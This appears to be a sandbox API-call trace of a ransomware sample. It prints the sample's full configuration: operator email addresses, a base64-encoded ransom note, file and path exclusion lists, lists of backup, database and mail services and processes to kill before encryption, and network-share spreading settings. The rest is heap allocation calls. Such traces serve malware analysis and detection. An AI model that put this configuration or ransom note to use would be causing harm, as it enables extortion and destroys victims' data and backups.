	[0059.486] strtol (in: _Str="5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x272f964, _Radix=0 | out: _EndPtr=0x272f964*=", \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 5
	[0059.486] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6a830, Size=0x1c) returned 0x2d6e1b0
	[0059.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a6f0
	[0059.486] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6e1b0, Size=0x20) returned 0x2d6e098
	[0059.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a7d0
	[0059.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4) returned 0x2d686d0
	[0059.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a930
	[0059.486] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d686d0, Size=0x8) returned 0x2d68770
	[0059.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a890
	[0059.486] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6e098, Size=0x24) returned 0x2d64ce0
	[0059.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a570
	[0059.486] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64ce0, Size=0x28) returned 0x2d64e00
	[0059.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a710
	[0059.486] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64e00, Size=0x2c) returned 0x2d5bd60
	[0059.489] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a830
	[0059.489] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4) returned 0x2d686d0
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a650
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4) returned 0x2d72d00
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a8d0
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d72d00, Size=0x8) returned 0x2d72c50
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a7b0
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d72c50, Size=0xc) returned 0x2d64180
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a690
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64180, Size=0x10) returned 0x2d63fe8
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a5b0
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d63fe8, Size=0x14) returned 0x2d6a5f0
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a610
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6a5f0, Size=0x18) returned 0x2d6a750
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a770
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6a750, Size=0x1c) returned 0x2d6dfd0
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a5f0
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6dfd0, Size=0x20) returned 0x2d6e1b0
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a750
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6e1b0, Size=0x24) returned 0x2d64b60
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a7f0
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64b60, Size=0x28) returned 0x2d64ce0
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a8b0
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64ce0, Size=0x2c) returned 0x2d5bc80
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a870
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5bc80, Size=0x30) returned 0x2d5bcb8
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72d48
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5bcb8, Size=0x34) returned 0x2d70ec0
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72bc8
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d70ec0, Size=0x38) returned 0x2d713c0
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72d08
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d713c0, Size=0x3c) returned 0x2d5f8a0
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72e88
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5f8a0, Size=0x40) returned 0x2d734f8
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72ea8
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d734f8, Size=0x44) returned 0x2d646c8
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72ee8
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d646c8, Size=0x48) returned 0x2d64358
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72d88
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64358, Size=0x4c) returned 0x2d5c268
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72c28
	[0059.490] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x50) returned 0x2d5c268
	[0059.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72e28
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x54) returned 0x2d5c268
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72d68
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x58) returned 0x2d5c268
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72f08
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x5c) returned 0x2d5c268
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72da8
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x60) returned 0x2d5c268
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72ec8
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x64) returned 0x2d5c268
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72c48
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x68) returned 0x2d5c268
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72b88
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x6c) returned 0x2d5c268
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72d28
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x70) returned 0x2d5c268
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72e08
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x74) returned 0x2d57bc0
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72c68
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d57bc0, Size=0x78) returned 0x2d57bc0
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72b48
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d57bc0, Size=0x7c) returned 0x2d5a0c0
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72e68
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5a0c0, Size=0x80) returned 0x2d5a0c0
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72dc8
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5a0c0, Size=0x84) returned 0x2d62fc8
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72b68
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d62fc8, Size=0x88) returned 0x2d62fc8
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72c88
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d62fc8, Size=0x8c) returned 0x2d635c8
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72e48
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d635c8, Size=0x90) returned 0x2d635c8
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72be8
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d635c8, Size=0x94) returned 0x2d63460
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72de8
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d63460, Size=0x98) returned 0x2d63460
	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72ba8
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d63460, Size=0x9c) returned 0x2d63460
